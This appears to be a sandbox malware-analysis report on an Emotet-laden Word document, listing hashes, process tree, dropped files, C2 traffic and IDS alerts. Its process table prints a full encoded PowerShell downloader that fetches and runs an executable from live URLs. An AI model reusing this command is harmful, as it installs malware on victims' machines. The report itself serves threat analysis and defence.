download: | ZJzsVKdzRzmVYxKMwQhxC |
Full analysis: | https://app.any.run/tasks/4ad92363-fd3f-4e18-8ea8-acd512bb7425 |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | May 20, 2019, 19:22:50 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Intelligent Rubber Sausages, Subject: Supervisor, Author: Connie Gulgowski, Comments: online Forward, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Mon May 20 19:13:00 2019, Last Saved Time/Date: Mon May 20 19:13:00 2019, Number of Pages: 1, Number of Words: 10, Number of Characters: 60, Security: 0 |
MD5: | EE6131FBC3F8272FE422232AFEE6785C |
SHA1: | 476A934A85854D22371B177506016634BF825E52 |
SHA256: | 41896E7F04AE54FA3D4357388EC0DEC407C22EC1C8A8C57A3E625A766DB6813A |
SSDEEP: | 3072:h77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8qUYxsEDhSeVeFRBgjL1PF:h77HUUUUUUUUUUUUUUUUUUUT52VDWSeV |
.doc | | | Microsoft Word document (54.2) |
---|---|---|
.doc | | | Microsoft Word document (old ver.) (32.2) |
CompObjUserTypeLen: | 32 |
---|---|
CompObjUserType: | Microsoft Word 97-2003 Document |
Title: | Intelligent Rubber Sausages |
Subject: | Supervisor |
Author: | Connie Gulgowski |
Keywords: | - |
Comments: | online Forward |
Template: | Normal.dotm |
LastModifiedBy: | - |
RevisionNumber: | 1 |
Software: | Microsoft Office Word |
TotalEditTime: | - |
CreateDate: | 2019:05:20 18:13:00 |
ModifyDate: | 2019:05:20 18:13:00 |
Pages: | 1 |
Words: | 10 |
Characters: | 60 |
Security: | None |
CodePage: | Windows Latin 1 (Western European) |
Company: | Volkman, Skiles and Krajcik |
Lines: | 1 |
Paragraphs: | 1 |
CharCountWithSpaces: | 69 |
AppVersion: | 16 |
ScaleCrop: | No |
LinksUpToDate: | No |
SharedDoc: | No |
HyperlinksChanged: | No |
TitleOfParts: | - |
HeadingPairs: |
|
Manager: | Schinner |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
1212 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\ZJzsVKdzRzmVYxKMwQhxC.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
2908 | powershell -ExecutionPolicy bypass -WindowStyle Hidden -noprofile -e JABOAF8ANABfADAANQA3AF8APQAnAHUAMAAyAF8AOQAwACcAOwAkAFUAOQA2ADQAOQAxADcAXwAgAD0AIAAnADcANwAwACcAOwAkAHcAMwA1ADYAXwA3AD0AJwBWADEAMQAyADYAMgA5ACcAOwAkAHMANgA5ADgAMQBfADEAMgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAVQA5ADYANAA5ADEANwBfACsAJwAuAGUAeABlACcAOwAkAEwAOQAwADcANAAxADQAXwA9ACcAaAA3ADcAMAAzADEAOAAnADsAJABtADAAMQA0ADkAOQAwAD0ALgAoACcAbgBlAHcALQBvACcAKwAnAGIAJwArACcAagBlAGMAdAAnACkAIABOAEUAdABgAC4AVwBgAEUAQgBDAGwASQBlAGAATgB0ADsAJABhADMANAAwADMANwA5AD0AJwBoAHQAdABwAHMAOgAvAC8AbwB2AGUAcgBjAHIAZQBhAHQAaQB2AGUALgBjAG8AbQAvAGMAcwBzAC8AcwBoAGUAYwBnAGUAcwBpAGEAXwBjAGoAdABmADcAcwA2AC0AMgA1ADgANgA2ADUAOAA3ADIAMAAvAEAAaAB0AHQAcAA6AC8ALwBhAG4AdABvAG4AcgBlAHMAaQBkAGUAbgB0AGkAYQBsAC4AYwBvAG0ALwB3AGsAZAByAGwAawAvAHAAYQBwAGsAYQBhADEANwAvAE4AdQBqAFUASgBlAHQATgB5AC8AQABoAHQAdABwADoALwAvAGcAYQB3AGEAaABlAHIALQBzAGUAcgB2AGkAYwBlAHMALgBjAG8AbQAvAG4AbgBnAGIAMgA0AHkALwB2AFgARwBBAHAAVwBVAHcAZAAvAEAAaAB0AHQAcAA6AC8ALwB0AGgAZQBwAHIAbwBwAGUAcgB0AHkAZABlAGEAbABlAHIAegAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvADUAegBlADcAdgBzAF8AdABnAHQANgBlADMAawAtADUALwBAAGgAdAB0AHAAOgAvAC8AZwB1AGkAbQBhAHIAYQBlAHMAYwBvAG4AcwB0AHIAdQB0AG8AcgBhAHMAagBjAC4AYwBvAG0ALgBiAHIALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ATgBUAGwAVABaAHQAQQBVAEIALwAnAC4AUwBwAGwAaQB0ACgAJwBAACcAKQA7ACQAcwA1ADQANAAyAF8AMwA9ACcASAA1ADgANQAzADAANwBfACcAOwBmAG8AcgBlAGEAYwBoACgAJABaADEAOQA5ADEAOQA1AF8AIABpAG4AIAAkAGEAMwA0ADAAMwA3ADkAKQB7AHQAcgB5AHsAJABtADAAMQA0ADkAOQAwAC4ARABvAFcATgBsAG8AYQBkAEYAaQBsAGUAKAAkAFoAMQA5ADkAMQA5ADUAXwAsACAAJABzADYAOQA4ADEAXwAxADIAKQA7ACQAagAzADEANwBfADEAMQAwAD0AJwBxADIAOQA0ADIAMAAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAIAAkAHMANgA5ADgAMQBfADEAMgApAC4AbABlAG4ARwBUAEgAIAAtAGcAZQAgADIAOQAyADIAOAApACAAewAmACgAJwBJAG4AdgBvAGsAZQAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACAAJABzADYAOQA4ADEAXwAxADIAOwAkAGoAOAAyADEANgA5ADcAPQAnAFYAOAAzADMANQAxACcAOwBiAHIAZQBhAGsAOwAkAG4AMAA1ADQAMgAxADUAPQAnAEMAOAA1ADQANAA1ADkANwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABhADMANwA5ADUAMgA9ACcASgAwADcAOQA5ADEAOAAnAA== | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3400 | "C:\Users\admin\770.exe" | C:\Users\admin\770.exe | — | powershell.exe |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
4044 | --1fcd1dee | C:\Users\admin\770.exe | 770.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
2924 | "C:\Users\admin\AppData\Local\soundser\soundser.exe" | C:\Users\admin\AppData\Local\soundser\soundser.exe | 770.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
1472 | --3ab57678 | C:\Users\admin\AppData\Local\soundser\soundser.exe | soundser.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
2896 | "C:\Users\admin\AppData\Local\soundser\hl7RkxpkR.exe" | C:\Users\admin\AppData\Local\soundser\hl7RkxpkR.exe | — | soundser.exe |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
2776 | --cc21cf4c | C:\Users\admin\AppData\Local\soundser\hl7RkxpkR.exe | hl7RkxpkR.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
3384 | "C:\Users\admin\AppData\Local\soundser\soundser.exe" | C:\Users\admin\AppData\Local\soundser\soundser.exe | hl7RkxpkR.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
3436 | --3ab57678 | C:\Users\admin\AppData\Local\soundser\soundser.exe | soundser.exe | |
User: admin Integrity Level: MEDIUM |
PID | Process | Filename | Type | |
---|---|---|---|---|
1212 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR3FCB.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2908 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZEWRKA0CZUBTBMPHFRW2.temp | — | |
MD5:— | SHA256:— | |||
2908 | powershell.exe | C:\Users\admin\770.exe | executable | |
MD5:9725D9368E642E74586456BBAD9F37B5 | SHA256:8274749A1F4910E88944BC47D74AA0760CF6EB24712FCAFBC0D744047A9839E9 | |||
1212 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\67B42372.wmf | wmf | |
MD5:036AAFC4F0D9B8435F9E4289214874E3 | SHA256:675A5E0310F0F8FB3252EF3FE0A651DD473A90DA8F52410FBDAAB624ED74939F | |||
1212 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\806738CB.wmf | wmf | |
MD5:67E11F9ECE38032E20C3ED02E32BD798 | SHA256:1DE2D5478969F3BA4581491CF63588A7770FAE6E45E6EA9EA71C478119A7A0AA | |||
1212 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:78854943818252C6E83A83506E030BA5 | SHA256:70605DF163FEFE0262A4C8EC5FEA5164CDA9B34A06150B7FAA60DE41EEFE53B8 | |||
1212 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\DAAE1DF5.wmf | wmf | |
MD5:917D778A17A322430F61961C9406509C | SHA256:DF035849F60CECBB5A54A5848473B7051AB108498CF4B320D0B700A8A3F8C54C | |||
1212 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exd | tlb | |
MD5:7BC4A77ED9932A98337A24ABE8397F79 | SHA256:ECA89BC848DD4FC162F7B8CA608EF55CFA64475B225774E33D7D46B80B238759 | |||
1212 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$zsVKdzRzmVYxKMwQhxC.doc | pgc | |
MD5:7CFF94E2DB6F640F3B6C76DD6A18E1A3 | SHA256:A1B96A5E6BD21D34323D827532F71A8B4BD3B252F1DDD5B421A30E50E5B2CDDC | |||
2908 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF134ad7.TMP | binary | |
MD5:33B4C42BAF9E3CA295E3BDCD51C02EAF | SHA256:B4273C31A01B0B90869574075D54D52E8098519587F61AE756B69729D0AF86A5 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
1472 | soundser.exe | POST | 200 | 74.207.227.96:443 | http://74.207.227.96:443/between/enabled/ | US | binary | 65.9 Kb | malicious |
3436 | soundser.exe | POST | 200 | 74.207.227.96:443 | http://74.207.227.96:443/site/guids/ | US | binary | 148 b | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
1472 | soundser.exe | 74.207.227.96:443 | — | Linode, LLC | US | malicious |
— | — | 74.207.227.96:443 | — | Linode, LLC | US | malicious |
2908 | powershell.exe | 69.90.66.10:443 | overcreative.com | Peer 1 Network (USA) Inc. | CA | unknown |
Domain | IP | Reputation |
---|---|---|
overcreative.com |
| unknown |
PID | Process | Class | Message |
---|---|---|---|
1472 | soundser.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
1472 | soundser.exe | Potentially Bad Traffic | ET POLICY HTTP traffic on port 443 (POST) |
3436 | soundser.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
3436 | soundser.exe | Potentially Bad Traffic | ET POLICY HTTP traffic on port 443 (POST) |